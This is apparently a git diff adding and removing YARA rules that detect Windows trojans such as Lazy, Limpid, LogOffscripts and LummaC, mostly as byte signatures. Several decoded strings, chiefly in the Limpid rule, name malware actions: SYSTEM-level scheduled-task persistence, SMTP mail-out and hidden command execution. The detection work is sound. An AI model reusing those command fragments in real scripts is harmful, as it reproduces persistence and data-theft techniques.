b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GY_MTB.yar new file mode 100644 index 0000000000..bc78bb6d5a --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_GY_MTB{ + meta: + description = "Trojan:Win32/Lazy.GY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {8a 1c 08 0f b7 d6 80 c3 20 32 5c 55 ?? 46 88 1c 08 41 3b 4d 0c } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GZ_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GZ_MTB.yar new file mode 100644 index 0000000000..7b0a6251b5 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_GZ_MTB{ + meta: + description = "Trojan:Win32/Lazy.GZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {8a 1c 30 0f b7 d1 80 c3 ?? 32 5c 55 ?? 40 88 5c 30 ?? 41 3b c7 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_HNU_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_HNU_MTB.yar new file mode 100644 index 0000000000..c09243b7e2 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_HNU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_HNU_MTB{ + meta: + description = "Trojan:Win32/Lazy.HNU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c4 60 c3 48 8d 05 68 6d 17 00 bb 21 00 00 00 e8 ec 37 02 00 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 d2 dc 04 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_HNV_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_HNV_MTB.yar new file mode 100644 index 0000000000..bc3e712c1c --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_HNV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Lazy_HNV_MTB{ + meta: + description = "Trojan:Win32/Lazy.HNV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 03 00 00 " + + strings : + $a_01_0 = {00 00 5c 00 5c 00 25 00 6c 00 73 00 5c 00 25 00 6c 00 73 00 5c 00 25 00 6c 00 73 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_01_1 = {43 72 65 61 74 65 54 6f 6f 6c 68 65 6c 70 33 32 53 6e 61 70 73 68 6f 74 } //2 CreateToolhelp32Snapshot + $a_01_2 = {47 65 74 43 6f 6d 70 75 74 65 72 4e 61 6d 65 57 } //1 GetComputerNameW + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_KKB_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_KKB_MTB.yar new file mode 100644 index 0000000000..7f7fbf972a --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_KKB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Lazy_KKB_MTB{ + meta: + description = "Trojan:Win32/Lazy.KKB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {09 00 44 41 54 41 2e 62 61 74 00 0d 00 00 00 6e 6f 74 65 70 61 64 2e 65 78 65 0d 0a 31 07 00 5c 78 2e 65 78 65 00 04 00 00 00 61 42 43 44 72 0c 00 6e 6f 74 65 70 61 64 2e 65 78 65 00 00 } //20 + $a_01_1 = {01 47 65 74 57 69 6e 64 6f 77 73 44 69 72 65 63 74 6f 72 79 41 00 00 94 02 57 69 6e 45 78 65 63 00 9e 02 57 72 69 74 65 46 69 6c 65 00 b5 02 6c 73 74 72 63 61 74 41 00 00 } //10 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_MBZ_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_MBZ_MTB.yar new file mode 100644 index 0000000000..93687e4236 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_MBZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_MBZ_MTB{ + meta: + description = "Trojan:Win32/Lazy.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {64 20 49 44 3a 20 22 4e 32 49 4c 4e 62 55 69 6d 49 58 43 45 30 49 4d 56 5f 78 64 2f 43 69 6e 39 34 5a 43 53 50 51 50 56 61 67 51 53 43 70 61 30 2f 63 54 35 42 6b 48 57 4b 7a 68 79 42 30 51 46 65 6d } //1 d ID: "N2ILNbUimIXCE0IMV_xd/Cin94ZCSPQPVagQSCpa0/cT5BkHWKzhyB0QFem + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_NS_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_NS_MTB.yar new file mode 100644 index 0000000000..f0568f81a4 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_NS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Lazy_NS_MTB{ + meta: + description = "Trojan:Win32/Lazy.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {a1 04 d0 40 00 56 85 c0 be 04 d0 40 00 74 17 8b 0d 00 d0 40 00 6a 00 51 6a 01 ff d0 8b 46 04 83 c6 04 85 c0 75 e9 } //2 + $a_01_1 = {a1 40 dc 40 00 5e 85 c0 74 02 ff e0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_PGLZ_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_PGLZ_MTB.yar new file mode 100644 index 0000000000..08ac8d6019 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_PGLZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Lazy_PGLZ_MTB{ + meta: + description = "Trojan:Win32/Lazy.PGLZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {8b 55 f0 8b 45 f4 01 d0 0f b6 00 89 c2 8b 45 d8 89 d1 31 c1 8b 55 f0 8b 45 f4 01 d0 89 ca 88 10 83 45 f4 01 8b 45 f4 3b 45 ec 72 d4 } //5 + $a_01_1 = {8b 55 fc 48 8b 45 f0 48 01 d0 0f b6 00 89 c2 8b 45 cc 89 d1 31 c1 8b 55 fc 48 8b 45 f0 48 01 d0 89 ca 88 10 83 45 fc 01 8b 45 fc 3b 45 ec 72 d0 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_SCP_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_SCP_MTB.yar new file mode 100644 index 0000000000..3a646e9153 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_SCP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_SCP_MTB{ + meta: + description = "Trojan:Win32/Lazy.SCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {88 08 8b 85 ?? ?? ?? ?? 8b 8d ?? ?? ?? ?? 8b 51 0c 31 c9 29 c1 31 c0 29 d0 01 c1 31 c0 29 c8 89 85 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_SC_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_SC_MTB.yar new file mode 100644 index 0000000000..b8384589bf --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_SC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_SC_MTB{ + meta: + description = "Trojan:Win32/Lazy.SC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 00 20 20 20 20 00 90 0c 00 00 10 00 00 00 e0 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 14 03 00 00 00 a0 0c 00 00 02 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_TRZ_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_TRZ_MTB.yar new file mode 100644 index 0000000000..2730d47955 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_TRZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_TRZ_MTB{ + meta: + description = "Trojan:Win32/Lazy.TRZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {6a ff 68 f0 87 0a 10 50 64 89 25 00 00 00 00 81 ec f0 02 00 00 33 c0 8a 88 ?? ?? ?? ?? 32 ca 42 88 4c 05 dd 81 e2 ff 00 00 80 79 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_WQ_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_WQ_MTB.yar new file mode 100644 index 0000000000..ed4b64b03e --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_WQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_WQ_MTB{ + meta: + description = "Trojan:Win32/Lazy.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {32 eb 3b e7 4f bb de d0 bf a0 bc a7 ef 57 ee 36 af 15 fa 3d cf 9d fe 42 bc } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Limpid/Trojan_Win32_Limpid_BAA_MTB.yar b/Trojan/Win32/Limpid/Trojan_Win32_Limpid_BAA_MTB.yar new file mode 100644 index 0000000000..5a0d5209b7 --- /dev/null +++ b/Trojan/Win32/Limpid/Trojan_Win32_Limpid_BAA_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_Limpid_BAA_MTB{ + meta: + description = "Trojan:Win32/Limpid.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 0d 00 00 " + + strings : + $a_81_0 = {2e 70 64 66 } //1 .pdf + $a_81_1 = {20 2f 63 20 65 63 68 6f 3e 3e 40 } //10 /c echo>>@ + $a_81_2 = {2e 63 6d 64 20 73 65 74 20 6d 61 69 6c 2d 6f 75 74 } //1 .cmd set mail-out + $a_81_3 = {2e 63 6d 64 20 73 65 74 20 73 6d 74 70 3d 6d 61 69 6c 2e 76 6e 69 69 72 2e 6e 6c } //1 .cmd set smtp=mail.vniir.nl + $a_81_4 = {5c 64 72 69 76 65 72 2e 65 78 65 20 78 20 2d 72 20 2d 65 70 32 20 2d 70 } //1 \driver.exe x -r -ep2 -p + $a_81_5 = {2e 63 6d 64 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e } //1 .cmd schtasks /create /tn + $a_81_6 = {63 6d 64 2e 65 78 65 20 65 78 65 63 20 68 69 64 65 20 40 } //1 cmd.exe exec hide @ + $a_81_7 = {74 61 73 6b 2e 62 61 74 } //1 task.bat + $a_81_8 = {2f 73 63 20 6f 6e 6c 6f 67 6f 6e 20 2f 72 6c 20 68 69 67 68 65 73 74 20 2f 66 } //1 /sc onlogon /rl highest /f + $a_81_9 = {41 75 74 6f 55 70 64 61 74 65 20 44 72 69 76 65 72 } //1 AutoUpdate Driver + $a_81_10 = {62 61 74 32 2e 62 61 74 } //1 bat2.bat + $a_81_11 = {2f 73 63 20 68 6f 75 72 6c 79 20 2f 73 74 20 30 30 3a 30 30 20 2f 72 75 20 53 59 53 54 45 4d 20 2f 66 } //1 /sc hourly /st 00:00 /ru SYSTEM /f + $a_81_12 = {63 6d 64 20 62 61 74 2e 62 61 74 } //1 cmd bat.bat + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*10+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1) >=22 + +} \ No newline at end of file diff --git a/Trojan/Win32/Linx/Trojan_Win32_Linx_HA_MTB.yar b/Trojan/Win32/Linx/Trojan_Win32_Linx_HA_MTB.yar new file mode 100644 index 0000000000..8e98ccfc28 --- /dev/null +++ b/Trojan/Win32/Linx/Trojan_Win32_Linx_HA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Linx_HA_MTB{ + meta: + description = "Trojan:Win32/Linx.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 20 00 72 00 65 00 63 00 79 00 63 00 6c 00 65 00 64 00 [0-30] 2e 00 64 00 61 00 74 00 2c 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Loader/Trojan_Win32_Loader_BAA_MTB.yar b/Trojan/Win32/Loader/Trojan_Win32_Loader_BAA_MTB.yar new file mode 100644 index 0000000000..0341e3752e --- /dev/null +++ b/Trojan/Win32/Loader/Trojan_Win32_Loader_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Loader_BAA_MTB{ + meta: + description = "Trojan:Win32/Loader.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 07 8d 0c 88 8b 45 f8 03 c2 33 d2 01 01 8b 01 b9 2a 00 00 00 89 45 f0 03 45 f8 01 04 9e 8b 04 9e } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/LogOffscripts/Trojan_Win32_LogOffscripts_AM.yar b/Trojan/Win32/LogOffscripts/Trojan_Win32_LogOffscripts_AM.yar new file mode 100644 index 0000000000..30859c4e21 --- /dev/null +++ b/Trojan/Win32/LogOffscripts/Trojan_Win32_LogOffscripts_AM.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_LogOffscripts_AM{ + meta: + description = "Trojan:Win32/LogOffscripts.AM,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {67 00 70 00 75 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 20 00 2f 00 66 00 6f 00 72 00 63 00 65 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 gpupdate.exe /force & exit + $a_00_3 = {35 00 30 00 36 00 30 00 37 00 39 00 61 00 39 00 2d 00 33 00 34 00 32 00 37 00 2d 00 34 00 34 00 62 00 31 00 2d 00 62 00 37 00 34 00 35 00 2d 00 61 00 31 00 63 00 39 00 38 00 35 00 64 00 30 00 33 00 32 00 31 00 33 00 } //-1 506079a9-3427-44b1-b745-a1c985d03213 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/LogOffscripts/Trojan_Win32_LogOffscripts_MK.yar b/Trojan/Win32/LogOffscripts/Trojan_Win32_LogOffscripts_MK.yar new file mode 100644 index 0000000000..f7760a404c --- /dev/null +++ b/Trojan/Win32/LogOffscripts/Trojan_Win32_LogOffscripts_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_LogOffscripts_MK{ + meta: + description = "Trojan:Win32/LogOffscripts.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {67 00 70 00 75 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 20 00 2f 00 66 00 6f 00 72 00 63 00 65 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 gpupdate.exe /force & exit + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 33 00 61 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff363a + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_LogOffscripts_MK_2{ + meta: + description = "Trojan:Win32/LogOffscripts.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {67 00 70 00 75 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 20 00 2f 00 66 00 6f 00 72 00 63 00 65 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 gpupdate.exe /force & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lokibot/Trojan_Win32_Lokibot_LIT_MTB.yar b/Trojan/Win32/Lokibot/Trojan_Win32_Lokibot_LIT_MTB.yar new file mode 100644 index 0000000000..0bbc2e9cff --- /dev/null +++ b/Trojan/Win32/Lokibot/Trojan_Win32_Lokibot_LIT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lokibot_LIT_MTB{ + meta: + description = "Trojan:Win32/Lokibot.LIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 44 16 01 88 85 00 fd ff ff 83 f0 cc 88 44 13 01 8d 42 02 39 f8 73 0c 0f b6 44 16 ?? 83 f0 cc 88 44 13 02 83 bd 04 fd ff ff 0e 0f 86 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lotok/Trojan_Win32_Lotok_RA_MTB.yar b/Trojan/Win32/Lotok/Trojan_Win32_Lotok_RA_MTB.yar deleted file mode 100644 index 50e3896d40..0000000000 --- a/Trojan/Win32/Lotok/Trojan_Win32_Lotok_RA_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_Lotok_RA_MTB{ - meta: - description = "Trojan:Win32/Lotok.RA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_03_0 = {9d 66 49 60 [0-06] 61 32 06 60 [0-08] 61 88 07 9c } //1 - condition: - ((#a_03_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ACLM_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ACLM_MTB.yar new file mode 100644 index 0000000000..b58b08ab86 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ACLM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_ACLM_MTB{ + meta: + description = "Trojan:Win32/LummaC.ACLM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {89 ca 83 e2 0a 8d 5a ff 83 e3 02 89 cf 83 e7 08 0f af df 89 d6 29 fa 83 f6 02 01 f2 89 ce 83 e6 02 0f af d6 89 ce 81 f6 ?? ?? ?? ?? 01 de 01 d6 0f b6 14 08 31 d6 89 75 f0 8b 55 f0 80 c2 c2 88 14 08 89 ca 81 f2 ?? ?? ?? ?? 89 ce 83 ce 01 21 d6 83 f1 01 8d 0c 71 83 f9 10 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALA_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALA_MTB.yar new file mode 100644 index 0000000000..ccd7917955 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaC_ALA_MTB{ + meta: + description = "Trojan:Win32/LummaC.ALA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {f7 d6 33 1d 9c 2d 48 00 c1 c9 0d c1 ce 12 c1 c6 12 c1 c1 0d f7 d6 01 35 29 29 48 00 c7 05 87 28 48 00 a4 ff b0 51 4f c1 cb 1a 40 33 ca f7 de ff 15 } //3 + $a_03_1 = {c1 c6 0d 2b 1d 4b 07 48 00 09 05 5a 28 48 00 43 e8 ?? ?? ?? ?? c1 e0 15 33 d2 f7 d6 ff c9 } //1 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALMZ_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALMZ_MTB.yar new file mode 100644 index 0000000000..f6e99d1e28 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALMZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_ALMZ_MTB{ + meta: + description = "Trojan:Win32/LummaC.ALMZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 48 f4 f7 d9 1b c9 23 c8 51 6a 00 33 c0 38 45 b3 6a 00 6a 00 ff 75 b8 0f 94 c0 6a 01 83 c0 02 50 a1 70 9d 46 00 6a 10 68 ff 01 0f 00 50 50 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALU_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALU_MTB.yar new file mode 100644 index 0000000000..52d7ac69f5 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_ALU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaC_ALU_MTB{ + meta: + description = "Trojan:Win32/LummaC.ALU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6a 00 6a 00 89 85 a8 df ff ff 8d 85 00 de ff ff 89 8d ac df ff ff c5 fd 7f 85 40 de ff ff c5 f8 28 8d 60 de ff ff c5 f0 57 8d a0 df ff ff 6a 00 6a 01 c5 f8 29 8d 60 de ff ff 50 c5 f8 77 } //2 + $a_03_1 = {6a 00 50 8d 85 d8 df ff ff 50 8d 8d 88 de ff ff e8 ?? ?? ?? ?? 8d 85 3c df ff ff 50 68 00 20 00 00 8d 85 d8 df ff ff 50 56 ff d7 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_AMC_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_AMC_MTB.yar new file mode 100644 index 0000000000..ad520e796d --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_AMC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_AMC_MTB{ + meta: + description = "Trojan:Win32/LummaC.AMC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 cf 81 f7 e1 00 00 00 89 ca 81 f2 1e cd 22 95 81 c9 e1 32 dd 6a 21 d1 89 ca 83 e2 02 89 cb 83 cb 02 0f af da 01 fb 81 e1 fd 00 00 00 83 f2 02 0f af d1 01 da fe c2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_AMM_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_AMM_MTB.yar new file mode 100644 index 0000000000..84f06f9448 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_AMM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_AMM_MTB{ + meta: + description = "Trojan:Win32/LummaC.AMM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {09 eb 83 e2 09 89 c5 81 e5 ?? ?? ?? ?? 09 d5 31 dd 81 f5 ?? ?? ?? ?? 09 ef 89 f3 f7 d3 89 fa 21 da 89 fd 21 f5 29 fe 8d 14 56 31 fb 01 fb 29 eb 21 d3 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_BSA_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_BSA_MTB.yar deleted file mode 100644 index 229a70ee98..0000000000 --- a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_BSA_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_LummaC_BSA_MTB{ - meta: - description = "Trojan:Win32/LummaC.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " - - strings : - $a_03_0 = {8b c2 eb f9 8b 0d ?? d5 ?? 00 56 57 bf 4e e6 40 bb be 00 00 ff ff 3b cf 74 04 85 ce 75 26 e8 2c 00 00 00 8b c8 3b cf 75 07 b9 4f e6 40 bb eb 0e 85 ce 75 0a 0d 11 47 00 00 c1 e0 10 } //10 - condition: - ((#a_03_0 & 1)*10) >=10 - -} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_BW_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_BW_MTB.yar new file mode 100644 index 0000000000..8ab1665de0 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_BW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_BW_MTB{ + meta: + description = "Trojan:Win32/LummaC.BW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 84 05 ?? ?? ?? ?? 31 d0 88 45 ?? 8b 55 ?? 8b 45 ?? 01 c2 0f b6 45 ?? 88 02 83 45 ?? 01 8b 45 ?? 3b 45 ?? 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAAT_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAAT_MTB.yar new file mode 100644 index 0000000000..eee2ac758c --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAAT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaC_EAAT_MTB{ + meta: + description = "Trojan:Win32/LummaC.EAAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {31 d7 89 7c 24 04 8b 54 24 04 80 c2 04 88 94 04 01 00 00 80 40 49 } //5 + $a_01_1 = {8d 14 7a 42 21 f2 89 54 24 04 8b 54 24 04 80 c2 a6 88 94 04 52 ff ff ff 40 49 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file 